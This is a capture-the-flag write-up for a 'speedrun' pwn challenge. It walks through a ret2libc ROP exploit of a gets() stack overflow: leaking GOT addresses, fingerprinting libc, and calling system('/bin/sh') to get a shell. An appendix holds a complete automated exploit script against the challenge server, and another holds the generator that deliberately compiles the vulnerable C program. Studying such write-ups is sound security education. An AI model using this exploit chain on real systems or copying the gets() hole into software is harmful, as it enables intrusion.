"I've seen some teams solve pwn challenges almost instantly. I'm sure y'all wonder how. Well, you're about to find out!" Category: pwn (200 points) Chall author: Eth007 Writeup author: malfurious Setup ----- We are provided with a Python script, as well as an address to contact the vulnerable service over TCP/netcat. See Appendix A for the original script. See Appendix B for my automated solution. The Service ----------- We can see the service generates a very simple C program on the backend: int main(void) { char inp[RANDOM_SIZE]; setvbuf(stdout,NULL,2,0); setvbuf(stdin,NULL,2,0); gets(inp); // <-- Vulnerable function puts("Thanks!"); } Each time the script is run, this program is created with a random inp buffer size between 20 and 1000. The service then compiles the program and converts the binary file to base64 text to deliver to the user. After sending the executable to the user, the service runs it, redirecting all standard IO from the user into it. This is our opportunity to pwn the system. A short 10 second timer will interrupt the service and disconnect us if we are still connected. If we reconnect, we will be working with a brand new binary, so the exploit needs to be automated and occur during a single session. The Binary ---------- The binary is compiled for x86_64 and done so using -fno-stack-protector and -no-pie. Therefore, we shouldn't need to worry about stack canaries and can assume executable code address will be fixed. Some simple experimentation determined that ASLR is _probably_ enabled in the remote environment, so no such assumption can be made about most of the address space. Additionally, stack execution protection (NX) is in effect, so simple shellcode is off the table. Ideas ----- After realizing shellcode was not going to be an option, there were two strategies I wanted to attempt to solve this problem. Both of them utilizing Return-oriented programming (ROP). First: Use a ROP chain to implement the original shellcode (or a variant of it). This prooved very difficult given our limited access to machine code in the main binary. There was one useful gadget found in the binary near the end of code under the __libc_csu_init symbol, at address 0x40120b; that being: 5f pop %rdi c3 ret The randomness to the main() function's buffer didn't affect the offset of these instructions, and since the code was not position-independent, the address was reliable. This gadget will come in handy for the soultion, since x86_64 uses the rdi register to pass the first argument to a function call. Second: Use a ROP chain to return to libc to call system("/bin/sh"). Due to ASLR, we had no relaible address of any system library code, but we could obtain them using a technique to leak libc addresses. Leaking libc ------------ We can leak the version of the libc running on the remote system by determining the relative offsets of a couple of its functions. We only have any sort of reference to a couple of functions, these being the ones actually called by the original program: setvbuf(), gets(), and puts(). Although the runtime location of libc functions will be randomized due to ASLR, the PLT and GOT sections utilized directly by the executable will be fixed since it is compiled position-dependent. To leak the address of any function for which we have a PLT/GOT pair, we just need to call some print function with the address of the GOT section (which holds the dynamic address) as its argument *after* a call to said function has already occurred. We need to wait until after the first call, so that the GOT section's pointer can be initialized properly. In this case, we call puts(), since that is the only apropos function available. It was during working on this problem I learned about online libc databases. An example: https://libc.blukat.me/. Services like this one will allow you to give the observed addresses of two or more libc functions, and use their relative offsets to cross-reference which version of libc they must come from. With knowledge of the original libc build, one can simply lookup the offset of any other symbol or even download the version in question to perform additional analysis on their own. Dynamically-sized Payload ------------------------- We need to deal with the fact that the program is recompiled with a different buffer size each time we try to interact with it. My automated solution does this by decoding and disassembling the data it receives on start-up. data = recv_bin(sock) os.system(f"printf '{data}' | base64 -d >pyelf") os.system(f"objdump -d pyelf | grep lea | sed '1q' > pyelf.ofs") # produces ... 401189: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax This just _happens_ to work in this case because the first lea instruction encountered in the binary is the one used to grab the buffer address for gets(). From there I use a regex to grab the '120' offset value. This is the offset (in hex) from the start of the buffer to the base of the stack frame and is used later for payload generation. ROP Solution - part 1 --------------------- A preliminary attack was required to leak the libc version. The following ROP chain / payload was prepaired: [padding] Enough data to fill space between start of inp buffer and the bottom of the stack frame [saved rbp placeholder] An 8-byte value to be consumed by the leave instruction at the end of main() (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget 0x00404018 Value to pop into $rdi (Pointer to puts() GOT section) (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&puts); (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget 0x00404028 Value to pop into $rdi (Pointer to setvbuf() GOT section) (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&setvbuf); "\n" Newline character to terminate input to C gets() function call in main() If this payload is fed into the service, the binary addresses of functions puts() and setvbuf() will be output after the "Thanks!" string. They can be used to lookup the libc in use. puts = 0x7f0443fcb910 setvbuf = 0x7f0443fcbf90 libc6_2.28-10_amd64 From this we can determine the following offsets from libc base: puts function = 0x071910 system function = 0x0449c0 "/bin/sh" string = 0x181519 ASLR will randomize the location of libc base, but by re-leaking the address of puts() in followup attacks, we can use these known offsets to calculate full addresses. ROP Solution - part 2 --------------------- We are now ready to pwn the system. We need to prepare two payloads and get the binary to read them both separately since we need to re-leak the randomized puts() function address. So, the final step of the ROP chain for payload zero is to jump back to _start - to re-initialize the stack and run main() again. Here is the first payload: all fixed addresses were taken directly from the compiled binary. [padding] Same junk data as before, possibly different length [saved rbp placeholder] Same placeholder as before (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget 0x00404018 Value to pop into $rdi (Pointer to puts() GOT section) (ret) 0x00401030 Return address: Pointer to puts() PLT - Effectively calling puts(&puts); (ret) 0x00401060 Return address: Pointer to _start entry-point "\n" Terminate input After sending this, the service prints the new address of puts() after the "Thanks!" string. We need to pause here to get this address to calculate addresses for system() and "/bin/sh". The program should have jumped back to main() and is ready for our second payload (within the same session). [padding] Same junk data, required length same as previous in part 2 [saved rbp placeholder] Same placeholder (ret) 0x40120b Return address: Pointer to the "pop $rdi, ret" ROP gadget [binsh address] Value to pop into $rdi (Calculated pointer to "/bin/sh" string) (ret) [system address] Return address: Calculated pointer to system() function - Calling system("/bin/sh") "\n" Terminate input After sending this, the service has forked and dropped into a shell. The flag is in flag.txt cat flag.txt ictf{4ut0m4t1ng_expl0it_d3v????_b7d75e95} ================================================================================ = Appendix A: 4E9F-speedrun.py = ================================================================================ #!/usr/bin/env python3 import os import sys import subprocess import base64 import random import uuid import time code1 = ''' #include int main(void) { char inp[''' code2 = ''']; setvbuf(stdout,NULL,2,0); setvbuf(stdin,NULL,2,0); gets(inp); puts("Thanks!"); } ''' art = ''' ██████████████████████████ █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ █▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ █▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█ █░░░██████▒▒▒░░░██████▒▒▒█ █░░░██████▒▒▒░░░██████▒▒▒█ █▒▒▒██████░░░▒▒▒██████░░░█ █▒▒▒██████░░░▒▒▒██████░░░█ █░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ █░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█ █▒▒▒░░░████████████▒▒▒░░░█ █▒▒▒░░░████████████▒▒▒░░░█ █░░░▒▒▒████████████░░░▒▒▒█ █░░░▒▒▒████████████░░░▒▒▒█ █▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ █▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█ █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ █░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█ ██████████████████████████ ''' def compile(size): filename = "/tmp/bin" + str(uuid.uuid4()) open(filename + ".c", "w").write(code1 + str(size) + code2) subprocess.run(["gcc", "-o", filename, filename + ".c", "-fno-stack-protector", "-no-pie"], capture_output=True) os.remove(filename + ".c") return filename def handler(signum, frame): print("Out of time!") filename = compile(random.randint(20,1000)) binary = base64.b64encode(open(filename, "rb").read()).decode() print(art) print("I'll see you after you defeat the ender dragon!") time.sleep(3) print("---------------------------BEGIN DATA---------------------------") print(binary) print("----------------------------END DATA----------------------------") subprocess.run([filename], stdin=sys.stdin, timeout=10) os.remove(filename) ================================================================================ = Appendix B: speedrun_solution.py = ================================================================================ import socket import re import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect(("chal.imaginaryctf.org", 42020)) #' 401189: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax' p = re.compile('-0x(.*)\(%rbp\)') def pp(i): return i.to_bytes(8, 'little') def gp(i): return int.from_bytes(i, 'little', signed=False) def recv_pre(sock): data = b'' while True: data += sock.recv(20) if b'-------' in data: while True: b = sock.recv(1) data += b if b == b'\n': print(data.decode()) return def recv_bin(sock): data = b'' while True: b = sock.recv(1) if b == b'\n': print(" [[data consumed by the collective]]") return data.decode() data += b # automated re recv_pre(s) data = recv_bin(s) os.system(f"printf '{data}' | base64 -d >pyelf") os.system(f"objdump -d pyelf | grep lea | sed '1q' > pyelf.ofs") ofs = open("pyelf.ofs", "r").read() print(ofs) for x in p.findall(ofs): ofs = int(x, 16) break print(ofs) # finish recv print(s.recv(4096).decode()) # send payload rdi_gadget = 0x40120b puts_plt = 0x00401030 puts_got = 0x00404018 vbuf_plt = 0x00401050 vbuf_got = 0x00404028 _start = 0x00401060 puts_ofs = 0x071910 syst_ofs = 0x0449c0 binsh_ofs = 0x181519 # First payload payload = (b"A"*ofs) + (b"B"*8) payload += pp(rdi_gadget) # puts(&puts) payload += pp(puts_got) payload += pp(puts_plt) payload += pp(_start) # jmp _start payload += b"\n" s.send(payload) get = s.recv(4096) print(get) get = get[8:-1] # strip 'Thanks!\n ... \n' leaked = gp(get) syst = leaked + syst_ofs - puts_ofs binsh = leaked + binsh_ofs - puts_ofs print(get) # Second payload payload = (b"A"*ofs) + (b"B"*8) payload += pp(rdi_gadget) # system("/bin/sh") payload += pp(binsh) payload += pp(syst) payload += b"\n" s.send(payload) get = s.recv(4096) print(get) #interactive while True: cmd = input() + "\n" s.send(cmd.encode()) print(s.recv(4096))